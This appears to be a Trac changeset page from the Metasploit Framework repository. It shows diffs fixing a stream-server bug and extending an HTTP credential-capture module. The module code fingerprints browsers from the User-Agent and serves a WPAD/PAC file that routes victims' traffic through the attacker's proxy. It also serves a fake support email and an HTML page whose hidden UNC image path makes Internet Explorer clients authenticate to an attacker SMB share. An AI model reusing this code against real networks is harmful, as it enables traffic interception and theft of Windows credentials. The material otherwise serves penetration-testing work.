Changeset 5477

Show
Ignore:
Timestamp:
04/17/08 20:33:09 (3 weeks ago)
Author:
hdm
Message:

Adding I)ruids's yp exploit. Fixing a streamserver bug thats been causing problems for a while. Updating the HTTP capture module to do better fingerprinting

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/lib/rex/io/stream_server.rb

    r5015 r5477  
    176176                                end 
    177177                        } 
     178                         
     179                rescue ::Rex::StreamClosedError => e 
     180                        # Remove the closed stream from the list 
     181                        clients.delete(e.stream) 
    178182                rescue 
    179183                        elog("Error in stream server client monitor: #{$!}") 
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5459 r5477  
    7272        def on_client_data(cli) 
    7373                begin 
    74                         case cli.request.parse(cli.get) 
     74                        data = cli.get_once(-1, 5) 
     75                        case cli.request.parse(data) 
     76                         
    7577                                when Rex::Proto::Http::Packet::ParseCode::Completed 
    7678                                        dispatch_request(cli, cli.request) 
     
    8082                                        close_client(cli) 
    8183                        end 
    82                 rescue EOFError 
    83                         if (cli.request.completed?) 
    84                                 dispatch_request(cli, cli.request) 
    85  
    86                                 cli.reset_cli 
    87                         end 
    88  
    89                         close_client(cli) 
    90                 end 
     84                rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET 
     85                rescue ::Exception 
     86                        print_status("Error: #{$!.class} #{$!} #{$!.backtrace}") 
     87                end 
     88                 
     89                close_client(cli) 
    9190                                                         
    9291        end 
    9392 
    9493        def close_client(cli) 
     94                cli.close 
    9595        end 
    9696         
    9797        def dispatch_request(cli, req) 
     98                 
     99                os_name = nil 
     100                os_type = nil 
     101                os_vers = nil 
     102                os_arch = 'x86' 
     103                 
     104                ua_name = nil 
     105                ua_vers = nil 
     106                 
     107                ua = req['User-Agent'] 
     108 
     109                case (ua)  
     110                        when /rv:([\d\.]+)/ 
     111                                ua_name = 'FF' 
     112                                ua_vers = $1 
     113                        when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/: 
     114                                ua_name = 'IE' 
     115                                ua_vers = $1 
     116                        when /Version\/(\d+\.\d+\.\d+).*Safari/ 
     117                                ua_name = 'Safari' 
     118                                ua_vers = $1 
     119                end 
     120                 
     121                case (ua) 
     122                        when /Windows/ 
     123                                os_name = 'Windows' 
     124                        when /Linux/ 
     125                                os_name = 'Linux' 
     126                        when /iPhone/ 
     127                                os_name = 'iPhone' 
     128                                os_arch = 'armle' 
     129                        when /Mac OS X/ 
     130                                os = 'Mac' 
     131                end 
     132                 
     133                case (ua) 
     134                        when /PPC/ 
     135                                os_arch = 'ppc' 
     136                end 
     137                 
     138                os_name ||= 'Unknown' 
    98139                 
    99140                mysrc = Rex::Socket.source_address(cli.peerhost) 
     
    115156                end 
    116157                 
     158                 
     159                if(req.resource =~ /\.eml$/)  
     160                                eml = "To: User\r\nFrom: Support\r\nSubject: Failed to connect\r\n\r\nInternet access has been prohibited by the administrator\r\n" 
     161                                res =  
     162                                "HTTP/1.1 200 OK\r\n" + 
     163                                "Host: #{hhead}\r\n" + 
     164                                "Content-Type: message/rfc822\r\n" + 
     165                                "Content-Length: #{eml.length}\r\n" + 
     166                                "Connection: Close\r\n\r\n#{eml}" 
     167                        print_status("HTTP EML sent to #{cli.peerhost}") 
     168                        cli.put(res) 
     169                        return   
     170                         
     171                end 
     172                 
    117173                if(req.resource =~ /^wpad.dat|.*\.pac$/i)  
    118174                        prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" 
     
    128184                end 
    129185                 
    130                 print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource}") 
     186                print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}") 
    131187                 
    132188                 
     
    150206                 
    151207                 
    152                  
    153                 # SMB MITM / RELAY 
    154                  
     208                # Background image 
    155209                body_extra = "" 
    156210                if(@bgimage) 
     
    193247                 
    194248                 
    195                  
    196                 data = "<html><head><title>Connecting...</title></head><body>#{body_extra}<img src='\\\\#{mysrc}\\public\\loading.jpg' width='1' height='1'></body></html>" 
     249                data = "<html><head><title>Connecting...</title></head><body>#{body_extra}" 
     250                if(ua_name == "IE") 
     251                        data << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>" 
     252                end 
     253                 
     254                data << "</body></html>" 
     255                 
    197256                res  =  
    198257                        "HTTP/1.1 200 OK\r\n" + 
    199258                        "Host: #{mysrc}\r\n" + 
     259                        "Expires: 0\r\n" + 
     260                        "Cache-Control: must-revalidate\r\n" + 
    200261                        "Content-Type: text/html\r\n" + 
    201262                        "Content-Length: #{data.length}\r\n" + 
     
    207268        end 
    208269 
    209  
    210  
    211270end 
    212271end